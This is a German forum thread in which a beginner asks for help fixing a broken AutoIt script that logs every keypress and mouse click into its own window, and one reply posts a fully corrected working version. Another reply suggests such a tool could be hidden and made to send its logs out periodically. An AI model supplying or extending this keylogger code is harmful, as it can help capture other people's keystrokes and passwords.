You last visited: Today at 10:45
Advertisement
Fehler EndFunc aber ich seh das nicht
Discussion on Fehler EndFunc aber ich seh das nicht within the AutoIt forum part of the Coders Den category.
07/30/2010, 19:35
#1
elite*gold: 0
Join Date: Jul 2010
Posts: 103
Received Thanks: 43
Fehler EndFunc aber ich seh das nicht
Hi!
Ich wollte das es in meinem Tool die Mouse Koordinaten mitschreibt und die Tasten im Hintergrund die man drückt mitschreiben.
Hir der Code!
PHP Code:
#cs ----------------------------------------------------------------------------
AutoIt Version : 3.3.6.1
: N290
Function:
Keylogger
#ce ----------------------------------------------------------------------------
HotKeySet ( "^k" , "Keylogger" )
HotKeySet ( "^e" , "_Exit" )
#Region ### START Koda GUI section ### Form
$Form1 = GUICreate ( "Mini-Tool" , 262 , 256 , 192 , 124 )
$Input1 = GUICtrlCreateInput ( "" , 80 , 48 , 97 , 21 )
$Label1 = GUICtrlCreateLabel ( "X-Achse" , 32 , 48 , 44 , 17 )
$Input2 = GUICtrlCreateInput ( "" , 80 , 80 , 97 , 21 )
$Label2 = GUICtrlCreateLabel ( "Y-Achse" , 32 , 80 , 44 , 17 )
$Label3 = GUICtrlCreateLabel ( "Mouse" , 96 , 16 , 62 , 28 )
GUICtrlSetFont (- 1 , 16 , 400 , 0 , "MS Sans Serif" )
$Label4 = GUICtrlCreateLabel ( "Keylogger" , 80 , 112 , 90 , 28 )
GUICtrlSetFont (- 1 , 16 , 400 , 0 , "MS Sans Serif" )
GUICtrlCreateEdit ( "" , 32 , 144 , 185 , 89 )
GUISetState (@ SW_SHOW )
#EndRegion ### END Koda GUI section ###
While 1
= GUIGetMsg ()
$nMsg
Case $GUI_EVENT_CLOSE
Exit
Mouse ()
write ()
WEnd
()
$pos = MouseGetPos ()
GUICtrlSetData ( $input1 , $pos [ 0 ])
GUICtrlSetData ( $input2 , $pos [ 1 ])
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
$dll = "user32.dll"
If _IsPressed ( "08" , $dll ) Then backspace ()
_IsPressed ( "09" , $dll ) Then tab ()
_IsPressed ( "0D" , $dll ) Then enter ()
_IsPressed ( "10" , $dll ) Then shift ()
_IsPressed ( "11" , $dll ) Then ctrl ()
_IsPressed ( "12" , $dll ) Then alt ()
_IsPressed ( "14" , $dll ) Then capslock ()
_IsPressed ( "1B" , $dll ) Then esc ()
_IsPressed ( "20" , $dll ) Then space ()
_IsPressed ( "25" , $dll ) Then PLinks ()
_IsPressed ( "26" , $dll ) Then POben ()
_IsPressed ( "27" , $dll ) Then PRechts ()
_IsPressed ( "28" , $dll ) Then PUnten ()
_IsPressed ( "30" , $dll ) Then _0 ()
_IsPressed ( "31" , $dll ) Then _1 ()
_IsPressed ( "32" , $dll ) Then _2 ()
_IsPressed ( "33" , $dll ) Then _3 ()
_IsPressed ( "34" , $dll ) Then _4 ()
_IsPressed ( "35" , $dll ) Then _5 ()
_IsPressed ( "36" , $dll ) Then _6 ()
_IsPressed ( "37" , $dll ) Then _7 ()
_IsPressed ( "38" , $dll ) Then _8 ()
_IsPressed ( "39" , $dll ) Then _9 ()
_IsPressed ( "41" , $dll ) Then _A ()
_IsPressed ( "42" , $dll ) Then _B ()
_IsPressed ( "43" , $dll ) Then _C ()
_IsPressed ( "44" , $dll ) Then _D ()
_IsPressed ( "45" , $dll ) Then _E ()
_IsPressed ( "46" , $dll ) Then _F ()
_IsPressed ( "47" , $dll ) Then _G ()
_IsPressed ( "48" , $dll ) Then _H ()
_IsPressed ( "49" , $dll ) Then _I ()
_IsPressed ( "4A" , $dll ) Then _J ()
_IsPressed ( "4B" , $dll ) Then _K ()
_IsPressed ( "4C" , $dll ) Then _L ()
_IsPressed ( "4D" , $dll ) Then _M ()
_IsPressed ( "4E" , $dll ) Then _N ()
_IsPressed ( "4F" , $dll ) Then _O ()
_IsPressed ( "50" , $dll ) Then _P ()
_IsPressed ( "51" , $dll ) Then _Q ()
_IsPressed ( "52" , $dll ) Then _R ()
_IsPressed ( "53" , $dll ) Then _S ()
_IsPressed ( "54" , $dll ) Then _T ()
_IsPressed ( "55" , $dll ) Then _U ()
_IsPressed ( "56" , $dll ) Then _V ()
_IsPressed ( "57" , $dll ) Then _W ()
_IsPressed ( "58" , $dll ) Then _X ()
_IsPressed ( "59" , $dll ) Then _Y ()
_IsPressed ( "5A" , $dll ) Then _Z ()
_IsPressed ( "60" , $dll ) Then _0Num ()
_IsPressed ( "61" , $dll ) Then _1Num ()
_IsPressed ( "62" , $dll ) Then _2Num ()
_IsPressed ( "63" , $dll ) Then _3Num ()
_IsPressed ( "64" , $dll ) Then _4Num ()
_IsPressed ( "65" , $dll ) Then _5Num ()
_IsPressed ( "66" , $dll ) Then _6Num ()
_IsPressed ( "67" , $dll ) Then _7Num ()
_IsPressed ( "68" , $dll ) Then _8Num ()
_IsPressed ( "69" , $dll ) Then _9Num ()
_IsPressed ( "6A" , $dll ) Then _multiplyNum ()
_IsPressed ( "6B" , $dll ) Then _plusNum ()
_IsPressed ( "6C" , $dll ) Then _enterNum ()
_IsPressed ( "6D" , $dll ) Then _minusNum ()
_IsPressed ( "6E" , $dll ) Then _kommaNum ()
_IsPressed ( "6F" , $dll ) Then _divideNum ()
_IsPressed ( "01" , $dll ) Then TasteLinks ()
_IsPressed ( "02" , $dll ) Then TasteRechts ()
GUICtrlSetData ( $edit1 , "0" )
Func _0Num ()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 0Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 1Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 2Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 3Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 4Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 5Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 6Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 7Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 8Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 9Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " *Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " +Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " ENTER_Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " -Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " .Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " /Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " Löschelinks " )
Sleep ( 125 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " TAB " )
Sleep ( 125 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " Enter " )
Sleep ( 200 )
Sleep ( 500 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " SHIFT " )
Sleep ( 200 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " CTRL " )
Sleep ( 200 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " ALT " )
Sleep ( 200 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " CAPSLOCK " )
Sleep ( 200 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & " ESC " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & " Space " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & " PfeilLeft " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & " PfeilUp " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & " PfeilRight " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & " PfeilDown " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "0" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "1" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "2" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "3" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "4" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "5" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "6" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "7" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "8" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "9" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "a" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "b" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "c" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "d" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "e" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "f" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "g" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "h" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "i" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "j" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "k" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "l" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "m" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "n" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "o" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "p" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "q" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "r" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "s" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "t" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "u" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "v" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "w" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "x" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "y" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "z" )
Sleep ( 75 )
EndFunc
()
$pos1 = MouseGetPos ()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "#MLEFT " & $pos1 [ 0 ]& " / " & $pos1 [ 1 ]& "#" )
Sleep ( 500 )
EndFunc
()
$pos2 = MouseGetPos ()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "#MRIGHT " & $pos2 [ 0 ]& " / " & $pos2 [ 1 ]& "#" )
Sleep ( 500 )
EndFunc
()
EndFunc
Es kommt aber immer der Fehler:
Line135 (File "C:\Users\....\Desktop\KloggerN290.au3)
Func _0Num()
Error: "Func" statement has no matching EndFunc".
Seh aber kein EndFunc das fehlt.
Kann mir wer sagen was da los ist?
Such schon eine Halbe stunde
MFG: N290
07/30/2010, 19:52
#2
elite*gold: 0
Join Date: Mar 2008
Posts: 1,524
Received Thanks: 285
warez (selbst fürs erstellen) werden nicht unterstützt, habs reportet
07/30/2010, 20:17
#3
elite*gold: 0
Join Date: Jul 2010
Posts: 103
Received Thanks: 43
Ist nicht wirklich ein Keylogger der was anrichtet.
07/30/2010, 20:29
#4
elite*gold: 0
Join Date: Mar 2009
Posts: 2,317
Received Thanks: 1,255
Quote:
Originally Posted by
N290
Ist nicht wirklich ein Keylogger der was anrichtet.
man könnte es einfach "versteckt" laufen lassen und den inhalt -sagen wir mal- alle 3stunden irgentwohin senden lassen....
bei sowas wird dir hier glaube ich keiner helfen wollen...
@blader,
deine sig is ja mal geil
07/30/2010, 20:38
#5
elite*gold: 0
Join Date: Sep 2009
Posts: 531
Received Thanks: 1,775
Versuchs mal so:
HTML Code:
#cs ----------------------------------------------------------------------------
AutoIt Version: 3.3.6.1
Author: N290
Script Function:
Keylogger
#ce ----------------------------------------------------------------------------
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
HotKeySet("^k", "Keylogger")
HotKeySet("^e", "_Exit")
#Region ### START Koda GUI section ### Form
$Form1 = GUICreate("Mini-Tool", 262, 256, 192, 124)
$Input1 = GUICtrlCreateInput("", 80, 48, 97, 21)
$Label1 = GUICtrlCreateLabel("X-Achse", 32, 48, 44, 17)
$Input2 = GUICtrlCreateInput("", 80, 80, 97, 21)
$Label2 = GUICtrlCreateLabel("Y-Achse", 32, 80, 44, 17)
$Label3 = GUICtrlCreateLabel("Mouse", 96, 16, 62, 28)
GUICtrlSetFont(-1, 16, 400, 0, "MS Sans Serif")
$Label4 = GUICtrlCreateLabel("Keylogger", 80, 112, 90, 28)
GUICtrlSetFont(-1, 16, 400, 0, "MS Sans Serif")
GUICtrlCreateEdit("", 32, 144, 185, 89)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
EndSwitch
_Mouse()
_write()
WEnd
Func _Mouse()
$pos = MouseGetPos()
GUICtrlSetData($input1, $pos[0])
GUICtrlSetData($input2, $pos[1])
EndFunc
Func _write()
$old=GUICtrlRead($Edit1)
Global $dll = "user32.dll"
If _IsPressed("08", $dll) Then
backspace()
EndIf
If _IsPressed("09", $dll) Then
tab()
EndIf
If _IsPressed("0D", $dll) Then
enter()
EndIf
If _IsPressed("10", $dll) Then
shift()
EndIf
If _IsPressed("11", $dll) Then
ctrl()
EndIf
If _IsPressed("12", $dll) Then
alt()
EndIf
If _IsPressed("14", $dll) Then
capslock()
EndIf
If _IsPressed("1B", $dll) Then
esc()
EndIf
If _IsPressed("20", $dll) Then
space()
EndIf
If _IsPressed("25", $dll) Then
PLinks()
EndIf
If _IsPressed("26", $dll) Then
POben()
EndIf
If _IsPressed("27", $dll) Then
PRechts()
EndIf
If _IsPressed("28", $dll) Then
PUnten()
EndIf
If _IsPressed("30", $dll) Then
_0()
EndIf
If _IsPressed("31", $dll) Then
_1()
EndIf
If _IsPressed("32", $dll) Then
_2()
EndIf
If _IsPressed("33", $dll) Then
_3()
EndIf
If _IsPressed("34", $dll) Then
_4()
EndIf
If _IsPressed("35", $dll) Then
_5()
EndIf
If _IsPressed("36", $dll) Then
_6()
EndIf
If _IsPressed("37", $dll) Then
_7()
EndIf
If _IsPressed("38", $dll) Then
_8()
EndIf
If _IsPressed("39", $dll) Then
_9()
EndIf
If _IsPressed("41", $dll) Then
_A()
EndIf
If _IsPressed("42", $dll) Then
_B()
EndIf
If _IsPressed("43", $dll) Then
_C()
EndIf
If _IsPressed("44", $dll) Then
_D()
EndIf
If _IsPressed("45", $dll) Then
_E()
EndIf
If _IsPressed("46", $dll) Then
_F()
EndIf
If _IsPressed("47", $dll) Then
_G()
EndIf
If _IsPressed("48", $dll) Then
_H()
EndIf
If _IsPressed("49", $dll) Then
_I()
EndIf
If _IsPressed("4A", $dll) Then
_J()
EndIf
If _IsPressed("4B", $dll) Then
_K()
EndIf
If _IsPressed("4C", $dll) Then
_L()
EndIf
If _IsPressed("4D", $dll) Then
_M()
EndIf
If _IsPressed("4E", $dll) Then
_N()
EndIf
If _IsPressed("4F", $dll) Then
_O()
EndIf
If _IsPressed("50", $dll) Then
_P()
EndIf
If _IsPressed("51", $dll) Then
_Q()
EndIf
If _IsPressed("52", $dll) Then
_R()
EndIf
If _IsPressed("53", $dll) Then
_S()
EndIf
If _IsPressed("54", $dll) Then
_T()
EndIf
If _IsPressed("55", $dll) Then
_U()
EndIf
If _IsPressed("56", $dll) Then
_V()
EndIf
If _IsPressed("57", $dll) Then
_W()
EndIf
If _IsPressed("58", $dll) Then
_X()
EndIf
If _IsPressed("59", $dll) Then
_Y()
EndIf
If _IsPressed("5A", $dll) Then
_Z()
EndIf
If _IsPressed("60",$dll) Then
_0Num()
EndIf
If _IsPressed("61",$dll) Then
_1Num()
EndIf
If _IsPressed("62",$dll) Then
_2Num()
EndIf
If _IsPressed("63",$dll) Then
_3Num()
EndIf
If _IsPressed("64",$dll) Then
_4Num()
EndIf
If _IsPressed("65",$dll) Then
_5Num()
EndIf
If _IsPressed("66",$dll) Then
_6Num()
EndIf
If _IsPressed("67",$dll) Then
_7Num()
EndIf
If _IsPressed("68",$dll) Then
_8Num()
EndIf
If _IsPressed("69",$dll) Then
_9Num()
EndIf
If _IsPressed("6A",$dll) Then
_multiplyNum()
EndIf
If _IsPressed("6B",$dll) Then
_plusNum()
EndIf
If _IsPressed("6C",$dll) Then
_enterNum()
EndIf
If _IsPressed("6D",$dll) Then
_minusNum()
EndIf
If _IsPressed("6E",$dll) Then
_kommaNum()
EndIf
If _IsPressed("6F",$dll) Then
_divideNum()
EndIf
If _IsPressed("01",$dll) Then
TasteLinks()
EndIf
If _IsPressed("02",$dll) Then
TasteRechts()
EndIf
EndFunc
GUICtrlSetData($edit1, "0")
Func _0Num()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" 0Num ")
Sleep(75)
EndFunc
Func _1Num()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" 1Num ")
Sleep(75)
EndFunc
Func _2Num()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" 2Num ")
Sleep(75)
EndFunc
Func _3Num()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" 3Num ")
Sleep(75)
EndFunc
Func _4Num()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" 4Num ")
Sleep(75)
EndFunc
Func _5Num()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" 5Num ")
Sleep(75)
EndFunc
Func _6Num()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" 6Num ")
Sleep(75)
EndFunc
Func _7Num()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" 7Num ")
Sleep(75)
EndFunc
Func _8Num()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" 8Num ")
Sleep(75)
EndFunc
Func _9Num()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" 9Num ")
Sleep(75)
EndFunc
Func _multiplyNum()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" *Num ")
Sleep(75)
EndFunc
Func _plusNum()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" +Num ")
Sleep(75)
EndFunc
Func _enterNum()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" ENTER_Num ")
Sleep(75)
EndFunc
Func _minusNum()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" -Num ")
Sleep(75)
EndFunc
Func _kommaNum()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" .Num ")
Sleep(75)
EndFunc
Func _divideNum()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" /Num ")
Sleep(75)
EndFunc
Func backspace()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" Löschelinks ")
Sleep(125)
EndFunc
Func tab()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" TAB ")
Sleep(125)
EndFunc
Func enter()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" Enter ")
Sleep(200)
Sleep(500)
EndFunc
Func shift()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" SHIFT ")
Sleep(200)
EndFunc
Func ctrl()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" CTRL ")
Sleep(200)
EndFunc
Func alt()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" ALT ")
Sleep(200)
EndFunc
Func capslock()
$old=GUICtrlRead($Edit1)
Guictrlsetdata($Edit1,$old&" CAPSLOCK ")
Sleep(200)
EndFunc
Func esc()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&" ESC " )
Sleep(75)
EndFunc
Func space()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&" Space " )
Sleep(75)
EndFunc
Func PLinks()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&" PfeilLeft " )
Sleep(75)
EndFunc
Func POben()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&" PfeilUp " )
Sleep(75)
EndFunc
Func PRechts()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&" PfeilRight " )
Sleep(75)
EndFunc
Func PUnten()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&" PfeilDown " )
Sleep(75)
EndFunc
Func _0()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"0" )
Sleep(75)
EndFunc
Func _1()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"1" )
Sleep(75)
EndFunc
Func _2()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"2" )
Sleep(75)
EndFunc
Func _3()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"3" )
Sleep(75)
EndFunc
Func _4()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"4" )
Sleep(75)
EndFunc
Func _5()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"5" )
Sleep(75)
EndFunc
Func _6()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"6" )
Sleep(75)
EndFunc
Func _7()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"7" )
Sleep(75)
EndFunc
Func _8()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"8" )
Sleep(75)
EndFunc
Func _9()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"9" )
Sleep(75)
EndFunc
Func _A()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"a" )
Sleep(75)
EndFunc
Func _B()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"b" )
Sleep(75)
EndFunc
Func _C()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"c" )
Sleep(75)
EndFunc
Func _D()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"d" )
Sleep(75)
EndFunc
Func _E()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"e" )
Sleep(75)
EndFunc
Func _F()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"f" )
Sleep(75)
EndFunc
Func _G()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"g" )
Sleep(75)
EndFunc
Func _H()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"h" )
Sleep(75)
EndFunc
Func _I()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"i" )
Sleep(75)
EndFunc
Func _J()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"j" )
Sleep(75)
EndFunc
Func _K()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"k" )
Sleep(75)
EndFunc
Func _L()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"l" )
Sleep(75)
EndFunc
Func _M()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"m" )
Sleep(75)
EndFunc
Func _N()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"n" )
Sleep(75)
EndFunc
Func _O()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"o" )
Sleep(75)
EndFunc
Func _P()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"p" )
Sleep(75)
EndFunc
Func _Q()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"q" )
Sleep(75)
EndFunc
Func _R()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"r" )
Sleep(75)
EndFunc
Func _S()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"s" )
Sleep(75)
EndFunc
Func _T()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"t" )
Sleep(75)
EndFunc
Func _U()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"u" )
Sleep(75)
EndFunc
Func _V()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"v" )
Sleep(75)
EndFunc
Func _W()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"w" )
Sleep(75)
EndFunc
Func _X()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"x" )
Sleep(75)
EndFunc
Func _Y()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"y" )
Sleep(75)
EndFunc
Func _Z()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"z" )
Sleep(75)
EndFunc
Func TasteLinks()
$pos1 = MouseGetPos()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"#MLEFT "&$pos1[0]&" / "&$pos1[1]&"#")
Sleep(500)
EndFunc
Func TasteRechts()
$pos2 = MouseGetPos()
$old=GUICtrlRead($Edit1)
GUICtrlSetData($Edit1,$old&"#MRIGHT "&$pos2[0]&" / "&$pos2[1]&"#")
Sleep(500)
EndFunc
Func _Exit()
Exit
EndFunc
#Edit: Fehler lag daran das soviele Funcs in der Func waren... Einfach alles einzelnt dan gehts auch^^
07/30/2010, 20:58
#6
elite*gold: 0
Join Date: Jul 2010
Posts: 103
Received Thanks: 43
@omer ja aber auf sowas komm ich nicht udn schaff ich nicht
bin anfänger
